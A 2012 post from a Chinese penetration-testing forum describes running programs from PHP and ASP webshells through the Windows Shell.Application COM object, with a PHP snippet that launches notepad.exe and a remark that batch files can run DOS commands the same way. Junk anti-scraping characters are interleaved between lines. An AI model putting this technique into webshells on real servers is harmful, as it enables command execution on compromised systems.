中国网络渗透测试联盟
标题:
php和asp利用Shell.Application来执行程序
[打印本页]
作者:
admin
时间:
2012-9-15 14:29
标题:
php和asp利用Shell.Application来执行程序
关于用Shell.Application来执行程序，在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
' i/ Y$ x7 A$ W) R8 Z8 _6 j% t, ?
$ ^3 o' c9 s" O6 U: R) j& `
今天试了一下，用open也可以。php代码如下，我好像还没有在php的webshell中看到相关方法
: M; g$ {& {; u+ l
8 s* `6 ~( J( r* ]9 Z
<?php
9 q% I$ c' b# U$ w7 ]
$wsh = new COM('Shell.Application') or die("Shell.Application");
' G, j T6 i+ A! }& }2 N7 s
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
{6 Z5 l% `/ [2 l! h
//没有回显，多了个notepad进程，可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
6 g& H& l8 d! L5 W2 p+ N$ a) h; s& e
?>
, l, @% c" d9 i/ p& R' {& }+ |
* I( ] F# O# E6 C! @
xp+APMServ5.2.0测试通过。
$ K8 [7 K- g' o7 v3 O) b3 \: N
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2